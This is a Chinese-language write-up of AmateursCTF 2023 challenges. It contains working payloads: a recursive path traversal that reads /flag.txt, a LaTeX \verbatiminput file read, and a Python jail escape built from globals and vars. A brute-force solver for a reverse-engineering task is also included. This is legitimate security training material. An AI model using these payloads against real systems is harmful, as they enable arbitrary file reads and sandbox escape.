0%

AmateursCTF2023

WEB

waiting-an-eternity

看文件头,要等好长事件之后才会刷新,直接访问后面的url

secretcode是md5解密,但是没什么用,Cookie里有time是时间戳将他改成NAN显示flag

funny factorials

附件给了一个app.py

可控点在这里,通过改变主题得到flag

1
2
3
4
5
6
7
8
9
10
11
12
def filter_path(path):
# print(path)
path = path.replace("../", "")
try:
return filter_path(path)
except RecursionError:
# remove root / from path if it exists
if path[0] == "/":
path = path[1:]
print(path)
return path

将path里面的../删掉了,如果path开头是/会忽视掉,但是如果递归超过1000次就会进入RecursionError然后访问根目录下的flag.txt就行

payload:

1
POST /?theme=../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../..///flag.txt

latek

关于latek可以看看这篇文章https://www.freebuf.com/articles/security-management/308191.html

直接用\input的话flag输出不完全,问了chatgpt可以用其他方法进行任意文件读取

1
2
3
4
5
6
7
\documentclass{article}
\usepackage{verbatim}
\begin{document}
Hello, world!
\verbatiminput{/flag.txt}
\end{document}

REV

volcano

ida分析,先看main函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
__int64 __fastcall main(int a1, char **a2, char **a3)
{
__int64 v4; // rbx
__int64 v5; // rbx
__int64 v6; // rbx
unsigned __int64 v7; // [rsp+8h] [rbp-C8h] BYREF
unsigned __int64 v8; // [rsp+10h] [rbp-C0h] BYREF
unsigned __int64 v9; // [rsp+18h] [rbp-B8h] BYREF
unsigned __int64 v10; // [rsp+20h] [rbp-B0h]
FILE *stream; // [rsp+28h] [rbp-A8h]
char s[136]; // [rsp+30h] [rbp-A0h] BYREF
unsigned __int64 v13; // [rsp+B8h] [rbp-18h]

v13 = __readfsqword(0x28u);
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
printf("Give me a bear: ");
v7 = 0LL;
__isoc99_scanf("%llu", &v7);
if ( !sub_12BB(v7) )
{
puts("That doesn't look like a bear!");
return 1LL;
}
else
{
printf("Give me a volcano: ");
v8 = 0LL;
__isoc99_scanf("%llu", &v8);
if ( (unsigned __int8)sub_13D9(v8) != 1 )
{
puts("That doesn't look like a volcano!");
return 1LL;
}
else
{
printf("Prove to me they are the same: ");
v9 = 0LL;
v10 = 4919LL;
__isoc99_scanf("%llu", &v9);
if ( (v9 & 1) != 0 && v9 != 1 )
{
v4 = sub_1209(v8);
if ( v4 == sub_1209(v7)
&& (v5 = sub_124D(v8), v5 == sub_124D(v7))
&& (v6 = sub_1430(v10, v8, v9), v6 == sub_1430(v10, v7, v9)) )
{
puts("That looks right to me!");
stream = fopen("flag.txt", "r");
fgets(s, 128, stream);
puts(s);
return 0LL;
}
else
{
puts("Nope that's not right!");
return 1LL;
}
}
else
{
puts("That's not a valid proof!");
return 1LL;
}
}
}
}

先看sub_12BBsub_13D9这两个

1
2
3
4
5
6
7
8
9
10
11
12
_BOOL8 __fastcall sub_12BB(unsigned __int64 a1)
{
if ( (a1 & 1) != 0 )
return 0LL;
if ( a1 % 3 != 2 )
return 0LL;
if ( a1 % 5 != 1 )
return 0LL;
if ( a1 % 7 == 3 )
return a1 % 109 == 55;
return 0LL;
}
1
2
3
4
5
6
7
8
9
10
11
12
_BOOL8 __fastcall sub_13D9(unsigned __int64 a1)
{
unsigned __int64 v2; // [rsp+8h] [rbp-10h]

v2 = 0LL;
while ( a1 )
{
v2 += a1 & 1;
a1 >>= 1;
}
return v2 > 16 && v2 <= 26;
}

逻辑很简单,写脚本爆破一下就行

看后面

1
2
3
if ( v4 == sub_1209(v7)
&& (v5 = sub_124D(v8), v5 == sub_124D(v7))
&& (v6 = sub_1430(v10, v8, v9), v6 == sub_1430(v10, v7, v9)) )

前几个完全没用只用考虑最后一个括号里的内容就行。

sub_1430:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
unsigned __int64 __fastcall sub_1430(unsigned __int64 a1, unsigned __int64 a2, unsigned __int64 a3)
{
unsigned __int64 v5; // [rsp+10h] [rbp-18h]
unsigned __int64 v6; // [rsp+20h] [rbp-8h]

v6 = 1LL;
v5 = a1 % a3;
while ( a2 )
{
if ( (a2 & 1) != 0 )
v6 = v5 * v6 % a3;
a2 >>= 1;
v5 = v5 * v5 % a3;
}
return v6;
}

直接写脚本爆破就行了

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
def check1(a1):
if a1 & 1 != 0:
return 0
if a1 % 3 != 2:
return 0
if a1 % 5 != 1:
return 0
if a1 % 7 == 3:
return a1 % 109 == 55
return 0
def check2(a1):
v2 = 0
while a1:
v2 += a1 & 1
a1 >>= 1
return 16 < v2 <= 26
def s():
for i in range(1,10000000):
if check1(i) and check2(i):
print(i)
def a():
for i in range(1,10):
if ((i & 1) != 0 and (i!= 1)):
print(i)
s() #输出前两个数
a() #输出第三个数

bear和volcano的数值一样。

MISC

Censorship

给了一个main.py

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/usr/local/bin/python
from flag import flag

for _ in [flag]:
while True:
try:
code = ascii(input("Give code: "))
if "flag" in code or "e" in code or "t" in code or "\\" in code:
raise ValueError("invalid input")
exec(eval(code))
except Exception as err:
print(err)

可以执行python的命令,但是不能有flag,e,t,flag是被定义的但是print里有t没有办法回显,可以用python的内置函数获得print。

payload:

1
vars(globals()[dir()[2]])[globals()[dir()[2]].__dir__()[42]](globals())